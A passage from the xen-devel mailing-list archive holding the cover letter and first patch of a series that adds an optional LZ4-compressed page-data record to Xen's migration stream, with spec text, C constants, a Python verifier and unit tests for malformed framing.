 Mon, 20 Jul 2026 15:49:30 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcus.granado@citrix.com>) id 1wlqFF-00064T-TW
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 15:49:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqFF-00CFQ6-5e
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 17:49:29 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a5e4387-e002-0a2a0a5209dd-0a2a450bacbc-2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:49:29 +0200
Received: from [160.101.131.9] (helo=na1pdmzitismtp02.tibco.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a5e4388-b7e8-0a2a450b0019-a0658309d8a6-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:49:29 +0200
Received: from mewpvdipd1023.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp02.tibco.com (Postfix) with ESMTPS id 0668D8291CA3;
 Mon, 20 Jul 2026 11:47:46 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Marcus Granado <marcus.granado@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Frediano Ziglio <freddy77@gmail.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Marcus Granado <marcus.granado@citrix.com>
Subject: [PATCH v1 0/6] tools: optional LZ4 compression of the libxenguest migration stream
Date: Mon, 20 Jul 2026 16:48:25 +0100
Message-ID: <20260720154832.1907401-1-marcus.granado@citrix.com>
X-Mailer: git-send-email 2.43.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1784562569-188C99EA-9387D184/0/0
X-purgate-type: clean
X-purgate-size: 7126

Hello,

This series adds optional LZ4 compression of the REC_TYPE_PAGE_DATA records
of the libxenguest migration stream, reducing the data transferred during
live migration (and suspend-to-file).
It is opt-in for:
* the build: compiled in only when liblz4 is present (HAVE_LZ4), which
  tools/configure already autodetects
* the toolstack: via new flag XCFLAGS_COMPRESS_LZ4 (off by default)
* libxl: via new option xl migrate --compress

Example usage:

 xl -vvv migrate --compress <vm> <destination host>

 xc: detail: fd .., dom .., flags 5, hvm  <= 5: XCFLAGS_COMPRESS_LZ4 is on
 xc: debug: LZ4: 4190208 -> 20732 bytes (0.5% ratio) <= compress 4MB batch
 ...
 Migration successful.


Motivation
==========

It's common for recent VMs to have large memory footprints. This increases
the effort to stream the memory during live migration or suspend, as the
streamed data hops across several steps before the VM memory reaches the
intended endpoint. The stream is encrypted, transmited over the network or
persisted in storage, decrypted at the endpoint etc. In each step, CPU
could have been saved and I/O data paths avoided bottlenecks if the stream
had been compressed as close to the origin of the data as possible.
Compressing at the first opportunity, inside libxenguest:
* keeps the compressor co-located with the guest page mapping so the fast
  path can be made zero-copy from the guest page into the compressor,
* saves on the amount of data copied/piped across processes in dom0,
* saves on the amount of data transmitted/persisted.

The LZ4 compression has a small cost, but this cost is amortized across all
the operations above, resulting in a net gain (see below). LZ4 was chosen
for its very high compression/decompression throughput on commodity CPUs,
low memory footprint, and the existence of a stable common upstream
library (liblz4).

We found the use of compression useful in general when migrating individual
VMs, as LZ4 typically halves or better the streamed data, and especially
useful when:
* migrating several VMs in parallel, as the net savings in CPU and I/O data
  paths reduce bottlenecks in dom0.
* networks are slow, as less data is transmitted
* many pipelined processes in dom0 are used to manipulate the stream data,
  as the dom0 kernel avoids data copy and scheduling activities.


Wire format
===========

A new record type REC_TYPE_PAGE_DATA_LZ4 (0x00000013) is added. It shares
the existing xc_sr_rec_page_data_header layout but the trailing payload is
a sequence of per-page sub-blocks: for each page a uint16 little-endian
length `clen` then `clen` octets of a independently compressed page,
or the raw page when clen == 0.
Senders that do not opt in continue to emit REC_TYPE_PAGE_DATA exactly as
before; receivers built without liblz4 produce a clear error when they meet
a compressed record rather than the generic "unrecognised record"
diagnostic.


Compatibility
=============

* Default behaviour is unchanged: without XCFLAGS_COMPRESS_LZ4 (or
  xl migrate --compress), the stream is byte-for-byte identical to before
  this series.
* A receiver that includes this series can decompress streams from any
  sender (legacy or compressed)
* If the toolstack asks for compression but libxenguest was built
  without liblz4, xc_domain_save() fails immediately with EOPNOTSUPP
  rather than silently emitting an uncompressed stream.


Testing
=======

Tested with xl migrate --compress and with a patched version of XAPI.


Measurements
============

XAPI host-evacuation scenario: 64GB VMs, dom0 with 16 vCPUs, stunnel-
encrypted migration transport, where
* hosts: 2x Intel Xeon Gold 6430, 1TB DDR5-4800, NIC 100 Gbps
* VM: 12 vCPUs, 64GB RAM, Windows OS
show significant wall-clock reduction when LZ4 compression is enabled.

Test           = time xe host-evacuate (for 10x VMs)
evacuate_ratio = host_evacuate_time_with_LZ4 / host_evacuate_without_LZ4
LZ4_ratio      = transmitted_LZ4_compressed_memory / total_VM_memory

Host Evacuation: Scenario 1: (BEST CASE)
----------------------------------------
guest load:
* VMs idle just after reboot
LZ4  LZ4_ratio  evacuate_time  evacuate_time_ratio
off  -          3m18s          100% (baseline)
on   1.4%       1m44s          52% when LZ4 is on

Host Evacuation: Scenario 2: (AVERAGE CASE)
-------------------------------------------
guest load: 
* VMs running desktop apps in loop for 1 hour before migration
LZ4  LZ4_ratio  evacuate_time  evacuate_time_ratio
off  -          3m18s          100% (baseline)
on   7.0%       2m02s          62% when LZ4 is on

Host Evacuation: Scenario 3: (WORST CASE)
-----------------------------------------
guest load:
* 100% constant CPU load quickly dirtying all memory pages
* all memory filled with random uncompressible buffers
* constant swapping to disk
LZ4  LZ4_ratio  evacuate_time  evacuate_time_ratio
off  -          23m12s         100% (baseline)
on   98.8%      23m25s         101% when LZ4 is on

The scenario 3 is the expected upper bound of time when LZ4 compression is
used, and it's around 101% compared to when LZ4 compression is not used.
The limit of 1% maximum overhead when compression is enabled is due to:
* using a fast LZ4 compression/decompression algorithm
* if the 4MB compressed batch ratio is >97%, then send uncompressed to
  save the time that would be used decompressing on the receiver.
* if a whole iteration of migration achieves >90% LZ4_ratio, then
  disable compression for the subsequent iterations.

The thresholds are conservative: 97% per-batch compresses only when it
saves over 3% (when compression is more likely to repay decompression),
and 90% per-iteration disables compression for the rest of the migration
once a iteration saves under 10% (effectively uncompressible). Together
they cap the worst case (Scenario 3) at about 1% over uncompressed.


Patch summary
=============
 
 1. tools/migration: introduce PAGE_DATA_LZ4 stream record type
     - define `REC_TYPE_PAGE_DATA_LZ4` (0x00000013)
 2. tools/libs/guest: decompress PAGE_DATA_LZ4 records on restore
     - empower the receiver to handle and decompress incoming LZ4 payloads
 3. tools/libs/guest: compress PAGE_DATA with LZ4 on save
     - add the save-side LZ4 batching and streaming path with persistent
       buffers
     - emit REC_TYPE_PAGE_DATA_LZ4 records depending on per-batch ratio
       threshold (XC_SR_COMPRESS_BATCH_THRESHOLD = 97%)
 4. tools/libs/guest: adaptively disable LZ4 on poor compression ratio
     - downgrade ctx->compression to XC_SR_COMPRESS_NONE after an
       iteration whose average per-batch ratio fails the 90% threshold
 5. tools/libs/guest: opt in to LZ4 save-side compression
     - via XCFLAGS_COMPRESS_LZ4 flag in public API to request
       compression
 6. tools/libxl,xl: add --compress flag to xl migrate
     - wire the feature up to `xl migrate --compress` and libxl, so that
       xl users can opt in to compression during migration


Comments/feedback are welcome!



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 15:49:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 15:49:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366726.1616674 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqFY-0006ST-8s; Mon, 20 Jul 2026 15:49:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366726.1616674; Mon, 20 Jul 2026 15:49:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqFY-0006SM-50; Mon, 20 Jul 2026 15:49:48 +0000
Received: by outflank-mailman (input) for mailman id 1366726;
 Mon, 20 Jul 2026 15:49:46 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcus.granado@citrix.com>) id 1wlqFV-0006Pv-UI
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 15:49:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqFV-00HS72-Aw
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 17:49:45 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a5e4386-bab6-0a2a0a5309dd-0a2a450a95b4-22
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:49:45 +0200
Received: from [160.101.131.9] (helo=na1pdmzitismtp02.tibco.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a5e4398-f2d2-0a2a450a0019-a0658309d57e-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:49:45 +0200
Received: from mewpvdipd1023.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp02.tibco.com (Postfix) with ESMTPS id 2126E8291CA3;
 Mon, 20 Jul 2026 11:48:03 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Marcus Granado <marcus.granado@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Frediano Ziglio <freddy77@gmail.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Marcus Granado <marcus.granado@citrix.com>
Subject: [PATCH v1 1/6] tools/migration: introduce PAGE_DATA_LZ4 stream record type
Date: Mon, 20 Jul 2026 16:48:26 +0100
Message-ID: <20260720154832.1907401-2-marcus.granado@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260720154832.1907401-1-marcus.granado@citrix.com>
References: <20260720154832.1907401-1-marcus.granado@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1784562585-4B0D9CFC-669D5ACA/0/0
X-purgate-type: clean
X-purgate-size: 18033

Allocate a new migration stream record type REC_TYPE_PAGE_DATA_LZ4
(0x00000013) to transmit PAGE_DATA when payload is LZ4-compressed. The
record use the same xc_sr_rec_page_data_header as REC_TYPE_PAGE_DATA
but the page data section type changes from page_data to data_lz4.

Signed-off-by: Marcus Granado <marcus.granado@citrix.com>
---
 docs/specs/libxc-migration-stream.pandoc | 71 ++++++++++++++++-
 tools/libs/guest/xg_sr_common.c          |  4 +
 tools/libs/guest/xg_sr_stream_format.h   | 13 ++++
 tools/python/xen/migration/libxc.py      | 90 ++++++++++++++++++++-
 tools/python/xen/migration/tests.py      | 99 +++++++++++++++++++++++-
 5 files changed, 271 insertions(+), 6 deletions(-)

diff --git a/docs/specs/libxc-migration-stream.pandoc b/docs/specs/libxc-migration-stream.pandoc
index 1319ce1f1e..7469c95139 100644
--- a/docs/specs/libxc-migration-stream.pandoc
+++ b/docs/specs/libxc-migration-stream.pandoc
@@ -3,7 +3,8 @@
   Andrew Cooper <<andrew.cooper3@citrix.com>>
   Wen Congyang <<wency@cn.fujitsu.com>>
   Yang Hongyang <<hongyang.yang@easystack.cn>>
-% Revision 3
+  Marcus Granado <<marcus.granado@citrix.com>>
+% Revision 4
 
 Introduction
 ============
@@ -39,8 +40,6 @@ Not Yet Included
 The following features are not yet fully specified and will be
 included in a future draft.
 
-* Page data compression.
-
 * ARM
 
 
@@ -233,7 +232,9 @@ type         0x00000000: END
 
              0x00000012: X86_MSR_POLICY
 
-             0x00000013 - 0x7FFFFFFF: Reserved for future _mandatory_
+             0x00000013: PAGE_DATA_LZ4
+
+             0x00000014 - 0x7FFFFFFF: Reserved for future _mandatory_
              records.
 
              0x80000000 - 0xFFFFFFFF: Reserved for future _optional_
@@ -359,6 +360,68 @@ tail.
 
 \clearpage
 
+PAGE_DATA_LZ4
+-------------
+
+A PAGE_DATA_LZ4 record carries exactly the same information as a
+PAGE_DATA record, but with the page contents LZ4-compressed.  The saver
+may emit it in place of a PAGE_DATA record when LZ4 compression has been
+requested.
+
+     0     1     2     3     4     5     6     7 octet
+    +-----------------------+-------------------------+
+    | count (C)             | (reserved)              |
+    +-----------------------+-------------------------+
+    | pfn[0]                                          |
+    +-------------------------------------------------+
+    ...
+    +-------------------------------------------------+
+    | pfn[C-1]                                        |
+    +-----------+-------------------------------------+
+    | clen[0]   | page_data_lz4[0]...                 |
+    +-----------+-------------------------------------+
+    ...
+    +-----------+-------------------------------------+
+    | clen[N-1] | page_data_lz4[N-1]...               |
+    ...
+    +-------------------------------------------------+
+
+--------------------------------------------------------------------
+Field       Description
+----------- --------------------------------------------------------
+count       Number of pages described in this record.
+
+pfn         An array of count PFNs and their types, with the same
+            layout and page types as in a PAGE_DATA record.
+
+data_lz4    The compressed page contents, as one sub-block per page
+            set as present in the pfn array, in pfn-array order (i.e.
+            N sub-blocks, with N as in a PAGE_DATA record: N <= C).
+            Each sub-block is a `uint16` little-endian length `clen`
+            followed by either an LZ4 block or a raw page.  When
+            `clen > 0`, page_data_lz4 is `clen` octets of a raw LZ4
+            block (per the LZ4 block format) whose decompressed output
+            is one page_size page.  When `clen == 0`, page_data_lz4 is
+            page_size octets of a raw, uncompressed page.
+            A compressed `clen` is at most page_size - 1, occupying
+            only the low 12 bits; the top 4 bits are reserved for
+            future use and must be 0.
+--------------------------------------------------------------------
+
+The `count` (C) and `pfn` fields are identical in meaning and
+constraints to those of a PAGE_DATA record, and N (the number of
+present pages, N <= C) is as defined there.  Unlike PAGE_DATA, a
+PAGE_DATA_LZ4 record always has N >= 1 (at least one sub-block):
+the saver emits the LZ4 variant only when there is page data to
+compress, and a restoring side rejects a PAGE_DATA_LZ4 record with
+N == 0.  When a batch has no present pages (all pfns of invalid
+types) the saver emits a plain PAGE_DATA record instead.
+
+PAGE_DATA_LZ4 is a _mandatory_ record: a restoring side that does not
+support it must fail the migration.
+
+\clearpage
+
 X86_PV_INFO
 -----------
 
diff --git a/tools/libs/guest/xg_sr_common.c b/tools/libs/guest/xg_sr_common.c
index 9b2782b5cf..8b0a59fa4c 100644
--- a/tools/libs/guest/xg_sr_common.c
+++ b/tools/libs/guest/xg_sr_common.c
@@ -39,6 +39,7 @@ static const char *const mandatory_rec_types[] =
     [REC_TYPE_STATIC_DATA_END]              = "Static data end",
     [REC_TYPE_X86_CPUID_POLICY]             = "x86 CPUID policy",
     [REC_TYPE_X86_MSR_POLICY]               = "x86 MSR policy",
+    [REC_TYPE_PAGE_DATA_LZ4]                = "Page data (lz4)",
 };
 
 const char *rec_type_to_str(uint32_t type)
@@ -154,6 +155,9 @@ static void __attribute__((unused)) build_assertions(void)
     BUILD_BUG_ON(sizeof(struct xc_sr_rec_x86_tsc_info)      != 24);
     BUILD_BUG_ON(sizeof(struct xc_sr_rec_hvm_params_entry)  != 16);
     BUILD_BUG_ON(sizeof(struct xc_sr_rec_hvm_params)        != 8);
+
+    /* clen's low bits hold the compressed length; reserved bits stay clear */
+    BUILD_BUG_ON((PAGE_SIZE - 1) & PAGE_DATA_LZ4_CLEN_RESERVED_MASK);
 }
 
 /*
diff --git a/tools/libs/guest/xg_sr_stream_format.h b/tools/libs/guest/xg_sr_stream_format.h
index 99dca5d490..e12833b2cd 100644
--- a/tools/libs/guest/xg_sr_stream_format.h
+++ b/tools/libs/guest/xg_sr_stream_format.h
@@ -76,6 +76,7 @@ struct xc_sr_rhdr
 #define REC_TYPE_STATIC_DATA_END            0x00000010U
 #define REC_TYPE_X86_CPUID_POLICY           0x00000011U
 #define REC_TYPE_X86_MSR_POLICY             0x00000012U
+#define REC_TYPE_PAGE_DATA_LZ4              0x00000013U
 
 #define REC_TYPE_OPTIONAL             0x80000000U
 
@@ -90,6 +91,18 @@ struct xc_sr_rec_page_data_header
 #define PAGE_DATA_PFN_MASK  0x000fffffffffffffULL
 #define PAGE_DATA_TYPE_MASK 0xf000000000000000ULL
 
+/*
+ * PAGE_DATA_LZ4 payload: one sub-block per present page (pfn order), each a
+ * uint16 LE length clen then clen octets.  clen == PAGE_DATA_LZ4_CLEN_RAW
+ * means a raw PAGE_SIZE page follows.  A compressed length is at most
+ * PAGE_SIZE - 1, so it occupies only the low 12 bits; the top 4 bits
+ * (PAGE_DATA_LZ4_CLEN_RESERVED_MASK) are reserved for future use and must
+ * be 0.
+ */
+#define PAGE_DATA_LZ4_CLEN_SIZE          (sizeof(uint16_t))
+#define PAGE_DATA_LZ4_CLEN_RAW           0x0000U
+#define PAGE_DATA_LZ4_CLEN_RESERVED_MASK 0xF000U
+
 /* X86_PV_INFO */
 struct xc_sr_rec_x86_pv_info
 {
diff --git a/tools/python/xen/migration/libxc.py b/tools/python/xen/migration/libxc.py
index e52e632cb1..0b161749ea 100644
--- a/tools/python/xen/migration/libxc.py
+++ b/tools/python/xen/migration/libxc.py
@@ -58,6 +58,7 @@ REC_TYPE_checkpoint_dirty_pfn_list  = 0x0000000f
 REC_TYPE_static_data_end            = 0x00000010
 REC_TYPE_x86_cpuid_policy           = 0x00000011
 REC_TYPE_x86_msr_policy             = 0x00000012
+REC_TYPE_page_data_lz4              = 0x00000013
 
 rec_type_to_str = {
     REC_TYPE_end                        : "End",
@@ -79,6 +80,7 @@ rec_type_to_str = {
     REC_TYPE_static_data_end            : "Static data end",
     REC_TYPE_x86_cpuid_policy           : "x86 CPUID policy",
     REC_TYPE_x86_msr_policy             : "x86 MSR policy",
+    REC_TYPE_page_data_lz4              : "Page data (lz4)",
 }
 
 # page_data
@@ -101,6 +103,10 @@ PAGE_DATA_TYPE_BROKEN        = (0xd << PAGE_DATA_TYPE_SHIFT) # Broken
 PAGE_DATA_TYPE_XALLOC        = (0xe << PAGE_DATA_TYPE_SHIFT) # Allocate-only
 PAGE_DATA_TYPE_XTAB          = (0xf << PAGE_DATA_TYPE_SHIFT) # Invalid
 
+# PAGE_DATA_LZ4 per-page sub-block: uint16 LE clen; top 4 bits reserved (must
+# be 0); see tools/libs/guest/xg_sr_stream_format.h.
+PAGE_DATA_LZ4_CLEN_RESERVED_MASK = 0xf000
+
 # x86_pv_info
 X86_PV_INFO_FORMAT        = "BBHI"
 
@@ -217,7 +223,7 @@ class VerifyLibxc(VerifyBase):
         contentsz = (length + 7) & ~7
         content = self.rdexact(contentsz)
 
-        if rtype != REC_TYPE_page_data:
+        if rtype not in (REC_TYPE_page_data, REC_TYPE_page_data_lz4):
 
             if self.squashed_pagedata_records > 0:
                 self.info("Squashed %d Page Data records together" %
@@ -476,6 +482,85 @@ class VerifyLibxc(VerifyBase):
                               (contentsz, sz))
 
 
+    def verify_record_page_data_lz4(self, content):
+        """ Page Data (lz4) record """
+        # Structure-only check: this verifier does not link liblz4 and so does
+        # not decompress data_lz4.  Decompression integrity (e.g. a corrupt
+        # block) is enforced by the C restore (LZ4_decompress_safe,
+        # xg_sr_restore.c) and by the end-to-end migration tests, not here.
+        minsz = calcsize(PAGE_DATA_FORMAT)
+
+        if len(content) <= minsz:
+            raise RecordError(
+                "PAGE_DATA_LZ4 record must be at least %d bytes long"
+                % (minsz, ))
+
+        count, res1 = unpack(PAGE_DATA_FORMAT, content[:minsz])
+
+        if res1 != 0:
+            raise StreamError(
+                "Reserved bits set in PAGE_DATA_LZ4 record 0x%04x" % (res1, ))
+
+        pfnsz = count * 8
+        if (len(content) - minsz) < pfnsz:
+            raise RecordError(
+                "PAGE_DATA_LZ4 record must contain a pfn record for each count")
+
+        pfns = list(unpack("=%dQ" % (count, ), content[minsz:minsz + pfnsz]))
+
+        nr_pages = 0
+        for idx, pfn in enumerate(pfns):
+
+            if pfn & PAGE_DATA_PFN_RESZ_MASK:
+                raise RecordError("Reserved bits set in pfn[%d]: 0x%016x" %
+                                  (idx, pfn & PAGE_DATA_PFN_RESZ_MASK))
+
+            if pfn >> PAGE_DATA_TYPE_SHIFT in (5, 6, 7, 8):
+                raise RecordError("Invalid type value in pfn[%d]: 0x%016x" %
+                                  (idx, pfn & PAGE_DATA_TYPE_LTAB_MASK))
+
+            # We expect page data for each normal page or pagetable
+            if PAGE_DATA_TYPE_NOTAB <= (pfn & PAGE_DATA_TYPE_LTABTYPE_MASK) \
+                    <= PAGE_DATA_TYPE_L4TAB:
+                nr_pages += 1
+
+        if nr_pages == 0:
+            raise RecordError(
+                "PAGE_DATA_LZ4 record with no pages of data "
+                "(zero-payload LZ4 records are rejected on restore)")
+
+        # data_lz4 follows as nr_pages per-page sub-blocks, in pfn order: a
+        # uint16 LE length clen then clen octets (clen == 0 => a raw 4096-byte
+        # page; clen's top 4 bits reserved).  Walk the framing exactly as the C
+        # restore does (xg_sr_restore.c); this does not decompress.
+        data_lz4 = content[minsz + pfnsz:]
+        comprsz = len(data_lz4)
+        off = 0
+        for idx in range(nr_pages):
+            if off + 2 > comprsz:
+                raise RecordError(
+                    "PAGE_DATA_LZ4 sub-block[%d]: truncated clen prefix" % idx)
+            clen = data_lz4[off] | (data_lz4[off + 1] << 8)
+            off += 2
+
+            if clen & PAGE_DATA_LZ4_CLEN_RESERVED_MASK:
+                raise RecordError(
+                    "PAGE_DATA_LZ4 sub-block[%d]: reserved clen bits 0x%04x" %
+                    (idx, clen))
+
+            blocksz = 4096 if clen == 0 else clen
+            if blocksz > comprsz - off:
+                raise RecordError(
+                    "PAGE_DATA_LZ4 sub-block[%d]: overruns payload" % idx)
+            off += blocksz
+
+        if off != comprsz:
+            raise RecordError(
+                "PAGE_DATA_LZ4 record has %u trailing octets "
+                "after %u sub-blocks"
+                % (comprsz - off, nr_pages))
+
+
 record_verifiers = {
     REC_TYPE_end:
         VerifyLibxc.verify_record_end,
@@ -525,4 +610,7 @@ record_verifiers = {
         VerifyLibxc.verify_record_x86_cpuid_policy,
     REC_TYPE_x86_msr_policy:
         VerifyLibxc.verify_record_x86_msr_policy,
+
+    REC_TYPE_page_data_lz4:
+        VerifyLibxc.verify_record_page_data_lz4,
     }
diff --git a/tools/python/xen/migration/tests.py b/tools/python/xen/migration/tests.py
index fcf94b0bb2..9f8a4e2a0d 100644
--- a/tools/python/xen/migration/tests.py
+++ b/tools/python/xen/migration/tests.py
@@ -4,9 +4,10 @@
 Unit tests for migration v2 streams
 """
 
+import io
 import unittest
 
-from struct import calcsize
+from struct import calcsize, pack
 
 from xen.migration import libxc, libxl
 
@@ -31,6 +32,102 @@ class TestLibxc(unittest.TestCase):
             self.assertEqual(calcsize(fmt), sz)
 
 
+    def test_page_data_lz4(self):
+        """ REC_TYPE_PAGE_DATA_LZ4 verifier: accept valid per-page framing,
+        reject malformed framing """
+
+        v = libxc.VerifyLibxc(lambda *_: None, lambda *_: b"")
+
+        def hdr(count, res=0):
+            return pack(libxc.PAGE_DATA_FORMAT, count, res)
+
+        def clen(n):
+            return pack("<H", n)            # uint16 LE sub-block length prefix
+
+        NOTAB = libxc.PAGE_DATA_TYPE_NOTAB | 0x1   # a normal page (type 0)
+        XTAB = libxc.PAGE_DATA_TYPE_XTAB | 0x1     # invalid type, no data
+        PAGE = b"\x00" * 4096                       # a raw page (clen == 0)
+
+        # Positive: one normal page stored raw (clen == 0 => 4096 octets).
+        v.verify_record_page_data_lz4(
+            hdr(1) + pack("=Q", NOTAB) + clen(0) + PAGE)
+
+        # Positive: one normal page "compressed" (clen > 0 => clen octets).  The
+        # bytes are arbitrary -- the verifier checks framing, not decompression.
+        v.verify_record_page_data_lz4(
+            hdr(1) + pack("=Q", NOTAB) + clen(4) + b"\xde\xad\xbe\xef")
+
+        # Positive: two pages, compressed then raw, back-to-back sub-blocks.
+        v.verify_record_page_data_lz4(
+            hdr(2) + pack("=QQ", NOTAB, NOTAB)
+            + clen(3) + b"\x01\x02\x03" + clen(0) + PAGE)
+
+        # Negative: no pages of data (all-invalid pfns) -- rejected to match the
+        # restore side, which rejects a zero-payload PAGE_DATA_LZ4 record.
+        with self.assertRaises(libxc.RecordError):
+            v.verify_record_page_data_lz4(hdr(1) + pack("=Q", XTAB))
+
+        # Negative: pages present but no payload at all (truncated clen prefix).
+        with self.assertRaises(libxc.RecordError):
+            v.verify_record_page_data_lz4(hdr(1) + pack("=Q", NOTAB))
+
+        # Negative: truncated clen prefix (1 octet where 2 are needed).
+        with self.assertRaises(libxc.RecordError):
+            v.verify_record_page_data_lz4(
+                hdr(1) + pack("=Q", NOTAB) + b"\x04")
+
+        # Negative: a compressed sub-block whose clen overruns the payload.
+        with self.assertRaises(libxc.RecordError):
+            v.verify_record_page_data_lz4(
+                hdr(1) + pack("=Q", NOTAB) + clen(8) + b"\x01\x02")
+
+        # Negative: a raw sub-block (clen == 0) without a full 4096-octet page.
+        with self.assertRaises(libxc.RecordError):
+            v.verify_record_page_data_lz4(
+                hdr(1) + pack("=Q", NOTAB) + clen(0) + b"\x00" * 100)
+
+        # Negative: reserved bits set in clen (top 4 bits).
+        with self.assertRaises(libxc.RecordError):
+            v.verify_record_page_data_lz4(
+                hdr(1) + pack("=Q", NOTAB) + clen(0x8000) + PAGE)
+
+        # Negative: trailing octets after the last sub-block.
+        with self.assertRaises(libxc.RecordError):
+            v.verify_record_page_data_lz4(
+                hdr(1) + pack("=Q", NOTAB) + clen(4) + b"\xde\xad\xbe\xef"
+                + b"\x99\x99")
+
+        # Negative: reserved bits set in the record header.
+        with self.assertRaises(libxc.StreamError):
+            v.verify_record_page_data_lz4(
+                hdr(1, 1) + pack("=Q", NOTAB) + clen(0) + PAGE)
+
+        # Negative: reserved bits set in a pfn.
+        with self.assertRaises(libxc.RecordError):
+            v.verify_record_page_data_lz4(
+                hdr(1) + pack("=Q", NOTAB | libxc.PAGE_DATA_PFN_RESZ_MASK)
+                + clen(0) + PAGE)
+
+
+    def test_page_data_lz4_dispatch(self):
+        """ REC_TYPE_PAGE_DATA_LZ4 routed through verify_record() end-to-end:
+        exercises the record_verifiers registry, the page-data squash branch,
+        and the trailing-padding check (which the direct-call test bypasses) """
+        NOTAB = libxc.PAGE_DATA_TYPE_NOTAB | 0x1
+
+        # One normal page + a compressed sub-block, 8-byte-aligned body.
+        body = (pack(libxc.PAGE_DATA_FORMAT, 1, 0)
+                + pack("=Q", NOTAB)
+                + pack("<H", 4) + b"\xde\xad\xbe\xef")
+        padding = b"\x00" * ((8 - len(body) % 8) % 8)
+        record = (pack(libxc.RH_FORMAT, libxc.REC_TYPE_page_data_lz4, len(body))
+                  + body + padding)
+
+        stream = io.BytesIO(record)
+        v = libxc.VerifyLibxc(lambda *_: None, stream.read)
+        self.assertEqual(v.verify_record(), libxc.REC_TYPE_page_data_lz4)
+
+
 class TestLibxl(unittest.TestCase):
 
     def test_format_sizes(self):

base-commit: a7fd7d4cbd5e793d31d61c25e08526b330edd7f8
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 15:49:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 15:49:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366732.1616684 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqFb-0006mF-FQ; Mon, 20 Jul 2026 15:49:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
